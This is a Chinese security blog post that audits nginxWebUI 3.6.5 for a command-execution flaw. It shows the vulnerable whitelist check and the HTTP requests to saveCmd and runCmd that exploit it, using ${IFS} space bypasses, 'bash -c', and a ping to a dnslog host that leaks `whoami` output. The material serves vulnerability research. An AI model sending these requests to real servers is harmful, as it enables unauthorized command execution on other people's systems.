nginxWebUi3.6.5 命令执行挖掘 | 干货

admin 2024年10月11日14:00:00评论37 views字数 2971阅读9分54秒阅读模式

1. 简介

由于微信公众号推送机制改变了,快来星标不再迷路,谢谢大家!

nginxWebUi3.6.5 命令执行挖掘 | 干货

版本 nginxWebUI3.6.5 系统 linux
官网https://www.nginxwebui.cn/

2. 审计过程

首先在com.cym.controller.adminPage#runCmd为命令执行的方法:

nginxWebUi3.6.5 命令执行挖掘 | 干货

但是其中有一个校验,在下方图中,就是校验的位置:

nginxWebUi3.6.5 命令执行挖掘 | 干货

跟进校验代码如下:

nginxWebUi3.6.5 命令执行挖掘 | 干货

在下方代码中,最终进行判断传入的cmd是否与系统中nginxExe参数 -c nginxPath参数值相同,如果相同才可以执行命令

  1. privateboolean isAvailableCmd(String cmd){

  2. String nginxPath =ToolUtils.handleConf(this.settingService.get("nginxPath"));

  3. this.settingService.set("nginxPath", nginxPath);

  4. String nginxExe =ToolUtils.handleConf(this.settingService.get("nginxExe"));

  5. this.settingService.set("nginxExe", nginxExe);

  6. String nginxDir =ToolUtils.handleConf(this.settingService.get("nginxDir"));

  7. this.settingService.set("nginxDir", nginxDir);

  8. byte var6 =-1;

  9. switch(cmd.hashCode()){

  10. case-1740009377:

  11. if(cmd.equals("net stop nginx")){

  12. var6 =4;

  13. }

  14. break;

  15. case-648492175:

  16. if(cmd.equals("service nginx start")){

  17. var6 =6;

  18. }

  19. break;

  20. case-71312295:

  21. if(cmd.equals("net start nginx")){

  22. var6 =7;

  23. }

  24. break;

  25. case-23621360:

  26. if(cmd.equals("systemctl stop nginx")){

  27. var6 =2;

  28. }

  29. break;

  30. case1171976517:

  31. if(cmd.equals("taskkill /f /im nginx.exe")){

  32. var6 =1;

  33. }

  34. break;

  35. case1226007315:

  36. if(cmd.equals("service nginx stop")){

  37. var6 =3;

  38. }

  39. break;

  40. case1597108680:

  41. if(cmd.equals("systemctl start nginx")){

  42. var6 =5;

  43. }

  44. break;

  45. case1875609800:

  46. if(cmd.equals("pkill nginx")){

  47. var6 =0;

  48. }

  49. }

  50. switch(var6){

  51. case0:

  52. returntrue;

  53. case1:

  54. returntrue;

  55. case2:

  56. returntrue;

  57. case3:

  58. returntrue;

  59. case4:

  60. returntrue;

  61. case5:

  62. returntrue;

  63. case6:

  64. returntrue;

  65. case7:

  66. returntrue;

  67. default:

  68. String dir ="";

  69. if(StrUtil.isNotEmpty(this.settingService.get("nginxDir"))){

  70. dir =" -p "+this.settingService.get("nginxDir");

  71. }

  72. if(cmd.equals(this.settingService.get("nginxExe")+" -s stop"+ dir)){

  73. returntrue;

  74. }else{

  75. return cmd.equals(this.settingService.get("nginxExe")+" -c "+this.settingService.get("nginxPath")+ dir);

  76. }

  77. }

  78. }

所以这里的思路就是,将nginxExe以及nginxPath进行设置。
通过查找,看下图,发现com.cym.controller.adminPage#saveCmd方法能对nginxExe以及nginxPath进行设置.

nginxWebUi3.6.5 命令执行挖掘 | 干货

但是在可以看见在其方法中有ToolUtils.handlePath(nginxPath);等方法调用,该方法主要对传入的参数进行过滤
看下图则为过滤处,假设传入&等都会被删掉。而且传入空格也会被删除。

nginxWebUi3.6.5 命令执行挖掘 | 干货

绕过思路

这里利用linux的特性${IFS}绕过,${IFS}会被当做空格

nginxWebUi3.6.5 命令执行挖掘 | 干货

绕过思路有了,现在还可以根据一个特性来执行命令:
在Unix或Linux系统中 bash -c选项用于执行一条命令 : bash -c "command"
在最开始那个isAvailableCmd方法校验可以看到,外部传参的cmd必须和里面的内容一样,所以先将 nginxExe 以及 nginxPath 进行设置。比如设置为 ping${IFS}xxxx.dnslog.xxx -c 1
先登录:

nginxWebUi3.6.5 命令执行挖掘 | 干货

发包:

  1. POST /adminPage/conf/saveCmd HTTP/1.1

  2. Host: xxxxx

  3. xxxxxxxxx太长了不写了xxxxxx

  4. nginxExe=ping${IFS}yxxxx.dnslog.pw&nginxPath=1

nginxWebUi3.6.5 命令执行挖掘 | 干货

  1. POST /adminPage/conf/runCmd HTTP/1.1

  2. Host: xxxxxx

  3. cmd=ping${IFS}xxxx.dnslog.pw -c 1

nginxWebUi3.6.5 命令执行挖掘 | 干货

此时在校验这里肯定为true

nginxWebUi3.6.5 命令执行挖掘 | 干货

最后进行命令执行:

nginxWebUi3.6.5 命令执行挖掘 | 干货

nginxWebUi3.6.5 命令执行挖掘 | 干货

当然也可以执行系统命令,利用bash -c "命令"来执行一条简单的命令,首先将nginxExe以及nginxPath进行设置:

  1. POST /adminPage/conf/saveCmd HTTP/1.1

  2. Host: xxx

  3. nginxExe=bash${IFS}&nginxPath=ls

  1. POST /adminPage/conf/runCmd HTTP/1.1

  2. Host: xxxx

  3. cmd=bash${IFS}-c ls

空格绕过

在前面中可以发现,其实在修复了3.4.8版本之后应该是加入了过滤相关的,没细看之前的版本 ,而在runCmd方法中,找到了一个可以直接使用set来将值设置进去的操作:

nginxWebUi3.6.5 命令执行挖掘 | 干货

直接设置即可,依次发两个包,主要针对nginxExe以及nginxPath的设置:

  1. POST /adminPage/conf/runCmd HTTP/1.1

  2. Host: xxxxx

  3. type=nginxExe&cmd=bash

  1. POST /adminPage/conf/runCmd HTTP/1.1

  2. Host: xxxxxx

  3. type=nginxPath&cmd=%22ping`whoami`.xxxx.dnslog.pw%22

最后在进行单个给cmd传参也是可以进行执行命令,在这里执行命令的好处就是可以绕过空格

  1. POST /adminPage/conf/runCmd HTTP/1.1

  2. Host: xxxxx

  3. cmd=bash -c %22ping`whoami`.xxxxx.dnslog.pw%22

nginxWebUi3.6.5 命令执行挖掘 | 干货https://xz.aliyun.com/t/12690


原文始发于微信公众号(渗透安全团队):nginxWebUi3.6.5 命令执行挖掘 | 干货

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年10月11日14:00:00
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   nginxWebUi3.6.5 命令执行挖掘 | 干货https://cn-sec.com/archives/1914244.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息